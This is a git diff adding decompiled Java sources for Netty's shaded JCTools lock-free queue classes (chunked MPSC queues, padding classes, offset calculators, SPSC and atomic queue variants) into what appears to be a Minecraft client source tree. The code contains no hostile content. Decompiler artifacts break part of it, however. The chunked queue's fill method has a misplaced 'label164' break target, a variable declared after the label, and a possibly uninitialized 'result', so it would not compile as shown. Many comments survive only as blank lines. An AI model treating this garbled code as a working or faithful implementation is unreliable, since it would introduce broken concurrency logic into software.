+      throw new IllegalStateException("new buffer must have at least one element");
+    }
+    UnsafeRefArrayAccess.soElement(nextBuffer, offsetInNew, null);
+    soConsumerIndex(index + 2L);
+    return n;
+  }
+  
+  private E newBufferPeek(E[] nextBuffer, long index) {
+    long offsetInNew = newBufferAndOffset(nextBuffer, index);
+    E n = UnsafeRefArrayAccess.lvElement(nextBuffer, offsetInNew);
+    if (null == n) {
+      throw new IllegalStateException("new buffer must have at least one element");
+    }
+    return n;
+  }
+  
+  private long newBufferAndOffset(E[] nextBuffer, long index) {
+    consumerBuffer = nextBuffer;
+    consumerMask = (nextBuffer.length - 2 << 1);
+    long offsetInNew = modifiedCalcElementOffset(index, consumerMask);
+    return offsetInNew;
+  }
+  
+
+
+
+
+
+
+  public final int size()
+  {
+    long after = lvConsumerIndex();
+    for (;;) {
+      long before = after;
+      long currentProducerIndex = lvProducerIndex();
+      after = lvConsumerIndex();
+      if (before == after) {
+        return (int)(currentProducerIndex - after) >> 1;
+      }
+    }
+  }
+  
+  private long lvProducerIndex() {
+    return UnsafeAccess.UNSAFE.getLongVolatile(this, P_INDEX_OFFSET);
+  }
+  
+  private long lvConsumerIndex() {
+    return UnsafeAccess.UNSAFE.getLongVolatile(this, C_INDEX_OFFSET);
+  }
+  
+  private void soProducerIndex(long v) {
+    UnsafeAccess.UNSAFE.putOrderedLong(this, P_INDEX_OFFSET, v);
+  }
+  
+  private boolean casProducerIndex(long expect, long newValue) {
+    return UnsafeAccess.UNSAFE.compareAndSwapLong(this, P_INDEX_OFFSET, expect, newValue);
+  }
+  
+  private void soConsumerIndex(long v) {
+    UnsafeAccess.UNSAFE.putOrderedLong(this, C_INDEX_OFFSET, v);
+  }
+  
+  private long lvProducerLimit() {
+    return producerLimit;
+  }
+  
+  private boolean casProducerLimit(long expect, long newValue) {
+    return UnsafeAccess.UNSAFE.compareAndSwapLong(this, P_LIMIT_OFFSET, expect, newValue);
+  }
+  
+  private void soProducerLimit(long v) {
+    UnsafeAccess.UNSAFE.putOrderedLong(this, P_LIMIT_OFFSET, v);
+  }
+  
+  public long currentProducerIndex()
+  {
+    return lvProducerIndex();
+  }
+  
+  public long currentConsumerIndex()
+  {
+    return lvConsumerIndex();
+  }
+  
+  public int capacity()
+  {
+    return (int)(maxQueueCapacity / 2L);
+  }
+  
+  public boolean relaxedOffer(E e)
+  {
+    return offer(e);
+  }
+  
+
+  public E relaxedPoll()
+  {
+    E[] buffer = consumerBuffer;
+    long index = consumerIndex;
+    long mask = consumerMask;
+    
+    long offset = modifiedCalcElementOffset(index, mask);
+    Object e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+    if (e == null) {
+      return null;
+    }
+    if (e == JUMP) {
+      E[] nextBuffer = getNextBuffer(buffer, mask);
+      return newBufferPoll(nextBuffer, index);
+    }
+    UnsafeRefArrayAccess.soElement(buffer, offset, null);
+    soConsumerIndex(index + 2L);
+    return e;
+  }
+  
+
+  public E relaxedPeek()
+  {
+    E[] buffer = consumerBuffer;
+    long index = consumerIndex;
+    long mask = consumerMask;
+    
+    long offset = modifiedCalcElementOffset(index, mask);
+    Object e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+    if (e == JUMP) {
+      return newBufferPeek(getNextBuffer(buffer, mask), index);
+    }
+    return e;
+  }
+  
+  public int fill(MessagePassingQueue.Supplier<E> s, int batchSize)
+  {
+    long pIndex;
+    long mask;
+    E[] buffer;
+    for (;;)
+    {
+      long producerLimit = lvProducerLimit();
+      pIndex = lvProducerIndex();
+      
+      if ((pIndex & 1L) != 1L)
+      {
+
+
+
+
+        mask = producerMask;
+        buffer = producerBuffer;
+        
+
+
+        long batchIndex = Math.min(producerLimit, pIndex + 2 * batchSize);
+        int result;
+        if ((pIndex == producerLimit) || (producerLimit < batchIndex))
+          result = offerSlowPath(mask, buffer, pIndex, producerLimit);
+        switch (result) {
+        case 1: 
+          break;
+        case 2: 
+          return 0;
+        case 3: 
+          resize(mask, buffer, pIndex, consumerIndex, maxQueueCapacity, s.get());
+          return 1;
+        
+
+
+        default: 
+          if (casProducerIndex(pIndex, batchIndex)) {
+            int claimedSlots = (int)((batchIndex - pIndex) / 2L);
+            break label164; }
+          break; } } }
+    label164:
+    int claimedSlots;
+    int i = 0;
+    for (i = 0; i < claimedSlots; i++) {
+      long offset = modifiedCalcElementOffset(pIndex + 2 * i, mask);
+      UnsafeRefArrayAccess.soElement(buffer, offset, s.get());
+    }
+    return claimedSlots;
+  }
+  
+  private void resize(long mask, E[] buffer, long pIndex, long consumerIndex, long maxQueueCapacity, E e)
+  {
+    int newBufferLength = getNextBufferCapacity(buffer, maxQueueCapacity);
+    E[] newBuffer = CircularArrayOffsetCalculator.allocate(newBufferLength);
+    
+    producerBuffer = newBuffer;
+    producerMask = (newBufferLength - 2 << 1);
+    
+    long offsetInOld = modifiedCalcElementOffset(pIndex, mask);
+    long offsetInNew = modifiedCalcElementOffset(pIndex, producerMask);
+    
+    UnsafeRefArrayAccess.soElement(newBuffer, offsetInNew, e);
+    UnsafeRefArrayAccess.soElement(buffer, nextArrayOffset(mask), newBuffer);
+    long available = maxQueueCapacity - (pIndex - consumerIndex);
+    
+    if (available <= 0L) {
+      throw new IllegalStateException();
+    }
+    
+    soProducerLimit(pIndex + Math.min(mask, available));
+    
+
+    UnsafeRefArrayAccess.soElement(buffer, offsetInOld, JUMP);
+    
+
+    soProducerIndex(pIndex + 2L);
+  }
+  
+  private int getNextBufferCapacity(E[] buffer, long maxQueueCapacity) {
+    int newBufferLength = buffer.length;
+    if (isFixedChunkSize) {
+      newBufferLength = buffer.length;
+    }
+    else {
+      if (buffer.length - 1 == maxQueueCapacity) {
+        throw new IllegalStateException();
+      }
+      newBufferLength = 2 * buffer.length - 1;
+    }
+    return newBufferLength;
+  }
+  
+  protected long getCurrentBufferCapacity(long mask, long maxQueueCapacity)
+  {
+    return (!isFixedChunkSize) && (mask + 2L == maxQueueCapacity) ? maxQueueCapacity : mask;
+  }
+  
+
+  public int fill(MessagePassingQueue.Supplier<E> s)
+  {
+    long result = 0L;
+    int capacity = capacity();
+    do {
+      int filled = fill(s, MpmcArrayQueue.RECOMENDED_OFFER_BATCH);
+      if (filled == 0) {
+        return (int)result;
+      }
+      result += filled;
+    } while (result <= capacity);
+    return (int)result;
+  }
+  
+
+
+
+  public void fill(MessagePassingQueue.Supplier<E> s, MessagePassingQueue.WaitStrategy w, MessagePassingQueue.ExitCondition exit)
+  {
+    while (exit.keepRunning()) {
+      while (fill(s, MpmcArrayQueue.RECOMENDED_OFFER_BATCH) != 0) {}
+      
+
+      int idleCounter = 0;
+      while ((fill(s, MpmcArrayQueue.RECOMENDED_OFFER_BATCH) == 0) && (exit.keepRunning())) {
+        idleCounter = w.idle(idleCounter);
+      }
+    }
+  }
+  
+
+  public void drain(MessagePassingQueue.Consumer<E> c, MessagePassingQueue.WaitStrategy w, MessagePassingQueue.ExitCondition exit)
+  {
+    int idleCounter = 0;
+    while (exit.keepRunning()) {
+      E e = relaxedPoll();
+      if (e == null) {
+        idleCounter = w.idle(idleCounter);
+      }
+      else {
+        idleCounter = 0;
+        c.accept(e);
+      }
+    }
+  }
+  
+  public int drain(MessagePassingQueue.Consumer<E> c) {
+    return drain(c, capacity());
+  }
+  
+
+
+  public int drain(MessagePassingQueue.Consumer<E> c, int limit)
+  {
+    E m;
+    
+    for (int i = 0; 
+        
+        (i < limit) && ((m = relaxedPoll()) != null); i++) {
+      c.accept(m);
+    }
+    return i;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueueColdProducerFields.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueueColdProducerFields.java
new file mode 100644
index 0000000..e67d743
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueueColdProducerFields.java
@@ -0,0 +1,51 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+
+
+
+
+
+
+
+
+abstract class MpscChunkedArrayQueueColdProducerFields<E>
+  extends MpscChunkedArrayQueuePad2<E>
+{
+  protected long maxQueueCapacity;
+  
+
+
+
+
+
+
+
+  protected long producerMask;
+  
+
+
+
+
+
+
+
+  protected E[] producerBuffer;
+  
+
+
+
+
+
+
+  protected volatile long producerLimit;
+  
+
+
+
+
+
+
+  protected boolean isFixedChunkSize = false;
+  
+  MpscChunkedArrayQueueColdProducerFields() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueueConsumerFields.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueueConsumerFields.java
new file mode 100644
index 0000000..8fb1a3b
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueueConsumerFields.java
@@ -0,0 +1,11 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+abstract class MpscChunkedArrayQueueConsumerFields<E>
+  extends MpscChunkedArrayQueuePad3<E>
+{
+  protected long consumerMask;
+  protected E[] consumerBuffer;
+  protected long consumerIndex;
+  
+  MpscChunkedArrayQueueConsumerFields() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueuePad1.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueuePad1.java
new file mode 100644
index 0000000..ccd52eb
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueuePad1.java
@@ -0,0 +1,25 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import java.util.AbstractQueue;
+
+abstract class MpscChunkedArrayQueuePad1<E>
+  extends AbstractQueue<E>
+{
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  long p17;
+  
+  MpscChunkedArrayQueuePad1() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueuePad2.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueuePad2.java
new file mode 100644
index 0000000..1456793
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueuePad2.java
@@ -0,0 +1,23 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+abstract class MpscChunkedArrayQueuePad2<E>
+  extends MpscChunkedArrayQueueProducerFields<E>
+{
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  long p17;
+  
+  MpscChunkedArrayQueuePad2() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueuePad3.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueuePad3.java
new file mode 100644
index 0000000..98c5608
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueuePad3.java
@@ -0,0 +1,24 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+abstract class MpscChunkedArrayQueuePad3<E>
+  extends MpscChunkedArrayQueueColdProducerFields<E>
+{
+  long p0;
+  long p1;
+  long p2;
+  long p3;
+  long p4;
+  long p5;
+  long p6;
+  long p7;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  long p17;
+  
+  MpscChunkedArrayQueuePad3() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueueProducerFields.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueueProducerFields.java
new file mode 100644
index 0000000..6ecfe30
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueueProducerFields.java
@@ -0,0 +1,9 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+abstract class MpscChunkedArrayQueueProducerFields<E>
+  extends MpscChunkedArrayQueuePad1<E>
+{
+  protected long producerIndex;
+  
+  MpscChunkedArrayQueueProducerFields() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/PaddedCircularArrayOffsetCalculator.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/PaddedCircularArrayOffsetCalculator.java
new file mode 100644
index 0000000..a9b8590
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/PaddedCircularArrayOffsetCalculator.java
@@ -0,0 +1,35 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.JvmInfo;
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeRefArrayAccess;
+
+
+
+
+public final class PaddedCircularArrayOffsetCalculator
+{
+  static final int REF_BUFFER_PAD = JvmInfo.CACHE_LINE_SIZE * 2 >> UnsafeRefArrayAccess.REF_ELEMENT_SHIFT;
+  
+  static { int paddingOffset = REF_BUFFER_PAD << UnsafeRefArrayAccess.REF_ELEMENT_SHIFT;
+    REF_ARRAY_BASE = UnsafeRefArrayAccess.REF_ARRAY_BASE + paddingOffset;
+  }
+  
+
+
+
+  public static <E> E[] allocate(int capacity)
+  {
+    return (Object[])new Object[capacity + REF_BUFFER_PAD * 2];
+  }
+  
+
+
+  static final long REF_ARRAY_BASE;
+  
+  protected static long calcElementOffset(long index, long mask)
+  {
+    return REF_ARRAY_BASE + ((index & mask) << UnsafeRefArrayAccess.REF_ELEMENT_SHIFT);
+  }
+  
+  private PaddedCircularArrayOffsetCalculator() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/QueueProgressIndicators.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/QueueProgressIndicators.java
new file mode 100644
index 0000000..5982e52
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/QueueProgressIndicators.java
@@ -0,0 +1,8 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+public abstract interface QueueProgressIndicators
+{
+  public abstract long currentProducerIndex();
+  
+  public abstract long currentConsumerIndex();
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/SparsePaddedCircularArrayOffsetCalculator.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/SparsePaddedCircularArrayOffsetCalculator.java
new file mode 100644
index 0000000..70b2545
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/SparsePaddedCircularArrayOffsetCalculator.java
@@ -0,0 +1,31 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeRefArrayAccess;
+
+public final class SparsePaddedCircularArrayOffsetCalculator {
+  static final int SPARSE_SHIFT = Integer.getInteger("io.netty.util.internal.shaded.org.jctools.sparse.shift", 0).intValue();
+  
+
+
+  private static final int REF_ELEMENT_SHIFT = UnsafeRefArrayAccess.REF_ELEMENT_SHIFT + SPARSE_SHIFT;
+  private static final long REF_ARRAY_BASE = PaddedCircularArrayOffsetCalculator.REF_ARRAY_BASE;
+  
+
+  private SparsePaddedCircularArrayOffsetCalculator() {}
+  
+
+  public static <E> E[] allocate(int capacity)
+  {
+    return (Object[])new Object[(capacity << SPARSE_SHIFT) + PaddedCircularArrayOffsetCalculator.REF_BUFFER_PAD * 2];
+  }
+  
+
+
+
+
+
+  public static long calcElementOffset(long index, long mask)
+  {
+    return REF_ARRAY_BASE + ((index & mask) << REF_ELEMENT_SHIFT);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/SpscLinkedQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/SpscLinkedQueue.java
new file mode 100644
index 0000000..ec37ee6
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/SpscLinkedQueue.java
@@ -0,0 +1,131 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpscLinkedQueue<E>
+  extends BaseLinkedQueue<E>
+{
+  public SpscLinkedQueue()
+  {
+    spProducerNode(new LinkedQueueNode());
+    spConsumerNode(producerNode);
+    consumerNode.soNext(null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean offer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    LinkedQueueNode<E> nextNode = new LinkedQueueNode(e);
+    LinkedQueueNode<E> producerNode = lpProducerNode();
+    producerNode.soNext(nextNode);
+    spProducerNode(nextNode);
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public E poll()
+  {
+    return relaxedPoll();
+  }
+  
+  public E peek()
+  {
+    return relaxedPeek();
+  }
+  
+  public int fill(MessagePassingQueue.Supplier<E> s)
+  {
+    long result = 0L;
+    do {
+      fill(s, 4096);
+      result += 4096L;
+    } while (result <= 2147479551L);
+    return (int)result;
+  }
+  
+  public int fill(MessagePassingQueue.Supplier<E> s, int limit)
+  {
+    if (limit == 0) return 0;
+    LinkedQueueNode<E> tail = new LinkedQueueNode(s.get());
+    LinkedQueueNode<E> head = tail;
+    for (int i = 1; i < limit; i++) {
+      LinkedQueueNode<E> temp = new LinkedQueueNode(s.get());
+      tail.soNext(temp);
+      tail = temp;
+    }
+    LinkedQueueNode<E> oldPNode = lpProducerNode();
+    oldPNode.soNext(head);
+    spProducerNode(tail);
+    return limit;
+  }
+  
+
+  public void fill(MessagePassingQueue.Supplier<E> s, MessagePassingQueue.WaitStrategy wait, MessagePassingQueue.ExitCondition exit)
+  {
+    LinkedQueueNode<E> chaserNode = producerNode;
+    while (exit.keepRunning()) {
+      for (int i = 0; i < 4096; i++) {
+        LinkedQueueNode<E> nextNode = new LinkedQueueNode(s.get());
+        chaserNode.soNext(nextNode);
+        chaserNode = nextNode;
+        producerNode = chaserNode;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/AtomicReferenceArrayQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/AtomicReferenceArrayQueue.java
new file mode 100644
index 0000000..c156463
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/AtomicReferenceArrayQueue.java
@@ -0,0 +1,73 @@
+package io.netty.util.internal.shaded.org.jctools.queues.atomic;
+
+import io.netty.util.internal.shaded.org.jctools.util.Pow2;
+import java.util.AbstractQueue;
+import java.util.Iterator;
+import java.util.concurrent.atomic.AtomicReferenceArray;
+
+
+
+
+
+
+
+
+
+
+
+abstract class AtomicReferenceArrayQueue<E>
+  extends AbstractQueue<E>
+{
+  protected final AtomicReferenceArray<E> buffer;
+  protected final int mask;
+  
+  public AtomicReferenceArrayQueue(int capacity)
+  {
+    int actualCapacity = Pow2.roundToPowerOfTwo(capacity);
+    mask = (actualCapacity - 1);
+    buffer = new AtomicReferenceArray(actualCapacity);
+  }
+  
+  public Iterator<E> iterator() {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void clear()
+  {
+    while ((poll() != null) || (!isEmpty())) {}
+  }
+  
+  protected final int calcElementOffset(long index, int mask) {
+    return (int)index & mask;
+  }
+  
+  protected final int calcElementOffset(long index) { return (int)index & mask; }
+  
+  protected final E lvElement(AtomicReferenceArray<E> buffer, int offset) {
+    return buffer.get(offset);
+  }
+  
+  protected final E lpElement(AtomicReferenceArray<E> buffer, int offset) { return buffer.get(offset); }
+  
+  protected final E lpElement(int offset) {
+    return buffer.get(offset);
+  }
+  
+  protected final void spElement(AtomicReferenceArray<E> buffer, int offset, E value) { buffer.lazySet(offset, value); }
+  
+  protected final void spElement(int offset, E value) {
+    buffer.lazySet(offset, value);
+  }
+  
+  protected final void soElement(AtomicReferenceArray<E> buffer, int offset, E value) { buffer.lazySet(offset, value); }
+  
+  protected final void soElement(int offset, E value) {
+    buffer.lazySet(offset, value);
+  }
+  
+  protected final void svElement(AtomicReferenceArray<E> buffer, int offset, E value) { buffer.set(offset, value); }
+  
+  protected final E lvElement(int offset) {
+    return lvElement(buffer, offset);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/BaseLinkedAtomicQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/BaseLinkedAtomicQueue.java
new file mode 100644
index 0000000..e811aa2
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/BaseLinkedAtomicQueue.java
@@ -0,0 +1,107 @@
+package io.netty.util.internal.shaded.org.jctools.queues.atomic;
+
+import java.util.AbstractQueue;
+import java.util.Iterator;
+import java.util.concurrent.atomic.AtomicReference;
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class BaseLinkedAtomicQueue<E>
+  extends AbstractQueue<E>
+{
+  private final AtomicReference<LinkedQueueAtomicNode<E>> producerNode;
+  private final AtomicReference<LinkedQueueAtomicNode<E>> consumerNode;
+  
+  public BaseLinkedAtomicQueue()
+  {
+    producerNode = new AtomicReference();
+    consumerNode = new AtomicReference();
+  }
+  
+  protected final LinkedQueueAtomicNode<E> lvProducerNode() { return (LinkedQueueAtomicNode)producerNode.get(); }
+  
+  protected final LinkedQueueAtomicNode<E> lpProducerNode() {
+    return (LinkedQueueAtomicNode)producerNode.get();
+  }
+  
+  protected final void spProducerNode(LinkedQueueAtomicNode<E> node) { producerNode.lazySet(node); }
+  
+  protected final LinkedQueueAtomicNode<E> xchgProducerNode(LinkedQueueAtomicNode<E> node) {
+    return (LinkedQueueAtomicNode)producerNode.getAndSet(node);
+  }
+  
+  protected final LinkedQueueAtomicNode<E> lvConsumerNode() { return (LinkedQueueAtomicNode)consumerNode.get(); }
+  
+  protected final LinkedQueueAtomicNode<E> lpConsumerNode()
+  {
+    return (LinkedQueueAtomicNode)consumerNode.get();
+  }
+  
+  protected final void spConsumerNode(LinkedQueueAtomicNode<E> node) { consumerNode.lazySet(node); }
+  
+  public final Iterator<E> iterator()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final int size()
+  {
+    LinkedQueueAtomicNode<E> chaserNode = lvConsumerNode();
+    LinkedQueueAtomicNode<E> producerNode = lvProducerNode();
+    int size = 0;
+    
+    while ((chaserNode != producerNode) && (chaserNode != null) && (size < Integer.MAX_VALUE))
+    {
+      LinkedQueueAtomicNode<E> next = chaserNode.lvNext();
+      
+      if (next == chaserNode) {
+        next = lvConsumerNode();
+      }
+      chaserNode = next;
+      size++;
+    }
+    return size;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final boolean isEmpty()
+  {
+    return lvConsumerNode() == lvProducerNode();
+  }
+  
+  protected E getSingleConsumerNodeValue(LinkedQueueAtomicNode<E> currConsumerNode, LinkedQueueAtomicNode<E> nextNode)
+  {
+    E nextValue = nextNode.getAndNullValue();
+    
+    currConsumerNode.soNext(currConsumerNode);
+    spConsumerNode(nextNode);
+    return nextValue;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/LinkedQueueAtomicNode.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/LinkedQueueAtomicNode.java
new file mode 100644
index 0000000..d88815c
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/LinkedQueueAtomicNode.java
@@ -0,0 +1,53 @@
+package io.netty.util.internal.shaded.org.jctools.queues.atomic;
+
+import java.util.concurrent.atomic.AtomicReference;
+
+
+
+
+
+
+
+
+
+
+
+public final class LinkedQueueAtomicNode<E>
+  extends AtomicReference<LinkedQueueAtomicNode<E>>
+{
+  private static final long serialVersionUID = 2404266111789071508L;
+  private E value;
+  
+  LinkedQueueAtomicNode() {}
+  
+  LinkedQueueAtomicNode(E val)
+  {
+    spValue(val);
+  }
+  
+
+
+
+  public E getAndNullValue()
+  {
+    E temp = lpValue();
+    spValue(null);
+    return temp;
+  }
+  
+  public E lpValue() {
+    return value;
+  }
+  
+  public void spValue(E newValue) {
+    value = newValue;
+  }
+  
+  public void soNext(LinkedQueueAtomicNode<E> n) {
+    lazySet(n);
+  }
+  
+  public LinkedQueueAtomicNode<E> lvNext() {
+    return (LinkedQueueAtomicNode)get();
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/MpscAtomicArrayQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/MpscAtomicArrayQueue.java
new file mode 100644
index 0000000..416d668
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/MpscAtomicArrayQueue.java
@@ -0,0 +1,260 @@
+package io.netty.util.internal.shaded.org.jctools.queues.atomic;
+
+import io.netty.util.internal.shaded.org.jctools.queues.QueueProgressIndicators;
+import java.util.concurrent.atomic.AtomicLong;
+import java.util.concurrent.atomic.AtomicReferenceArray;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MpscAtomicArrayQueue<E>
+  extends AtomicReferenceArrayQueue<E>
+  implements QueueProgressIndicators
+{
+  private final AtomicLong consumerIndex;
+  private final AtomicLong producerIndex;
+  private volatile long headCache;
+  
+  public MpscAtomicArrayQueue(int capacity)
+  {
+    super(capacity);
+    consumerIndex = new AtomicLong();
+    producerIndex = new AtomicLong();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean offer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    
+
+    int mask = this.mask;
+    long capacity = mask + 1;
+    long consumerIndexCache = lvConsumerIndexCache();
+    long currentProducerIndex;
+    do {
+      currentProducerIndex = lvProducerIndex();
+      long wrapPoint = currentProducerIndex - capacity;
+      if (consumerIndexCache <= wrapPoint) {
+        long currHead = lvConsumerIndex();
+        if (currHead <= wrapPoint) {
+          return false;
+        }
+        
+        svConsumerIndexCache(currHead);
+        
+        consumerIndexCache = currHead;
+      }
+      
+    } while (!casProducerIndex(currentProducerIndex, currentProducerIndex + 1L));
+    
+
+
+
+
+
+    int offset = calcElementOffset(currentProducerIndex, mask);
+    soElement(offset, e);
+    return true;
+  }
+  
+
+
+
+
+
+  public final int weakOffer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException("Null is not a valid element");
+    }
+    int mask = this.mask;
+    long capacity = mask + 1;
+    long currentTail = lvProducerIndex();
+    long consumerIndexCache = lvConsumerIndexCache();
+    long wrapPoint = currentTail - capacity;
+    if (consumerIndexCache <= wrapPoint) {
+      long currHead = lvConsumerIndex();
+      if (currHead <= wrapPoint) {
+        return 1;
+      }
+      svConsumerIndexCache(currHead);
+    }
+    
+
+
+    if (!casProducerIndex(currentTail, currentTail + 1L)) {
+      return -1;
+    }
+    
+
+    int offset = calcElementOffset(currentTail, mask);
+    soElement(offset, e);
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public E poll()
+  {
+    long consumerIndex = lvConsumerIndex();
+    int offset = calcElementOffset(consumerIndex);
+    
+    AtomicReferenceArray<E> buffer = this.buffer;
+    
+
+    E e = lvElement(buffer, offset);
+    if (null == e)
+    {
+
+
+
+
+      if (consumerIndex != lvProducerIndex()) {
+        do {
+          e = lvElement(buffer, offset);
+        } while (e == null);
+      } else {
+        return null;
+      }
+    }
+    
+    spElement(buffer, offset, null);
+    soConsumerIndex(consumerIndex + 1L);
+    return e;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public E peek()
+  {
+    AtomicReferenceArray<E> buffer = this.buffer;
+    
+    long consumerIndex = lvConsumerIndex();
+    int offset = calcElementOffset(consumerIndex);
+    E e = lvElement(buffer, offset);
+    if (null == e)
+    {
+
+
+
+
+      if (consumerIndex != lvProducerIndex()) {
+        do {
+          e = lvElement(buffer, offset);
+        } while (e == null);
+      } else {
+        return null;
+      }
+    }
+    return e;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public int size()
+  {
+    long after = lvConsumerIndex();
+    for (;;) {
+      long before = after;
+      long currentProducerIndex = lvProducerIndex();
+      after = lvConsumerIndex();
+      if (before == after) {
+        return (int)(currentProducerIndex - after);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return lvConsumerIndex() == lvProducerIndex();
+  }
+  
+  public long currentProducerIndex()
+  {
+    return lvProducerIndex();
+  }
+  
+  public long currentConsumerIndex()
+  {
+    return lvConsumerIndex();
+  }
+  
+  private long lvConsumerIndex() { return consumerIndex.get(); }
+  
+  private long lvProducerIndex() {
+    return producerIndex.get();
+  }
+  
+  protected final long lvConsumerIndexCache() { return headCache; }
+  
+  protected final void svConsumerIndexCache(long v)
+  {
+    headCache = v;
+  }
+  
+  protected final boolean casProducerIndex(long expect, long newValue) { return producerIndex.compareAndSet(expect, newValue); }
+  
+  protected void soConsumerIndex(long l) {
+    consumerIndex.lazySet(l);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/MpscLinkedAtomicQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/MpscLinkedAtomicQueue.java
new file mode 100644
index 0000000..6b2d159
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/atomic/MpscLinkedAtomicQueue.java
@@ -0,0 +1,116 @@
+package io.netty.util.internal.shaded.org.jctools.queues.atomic;
+
+
+
+
+
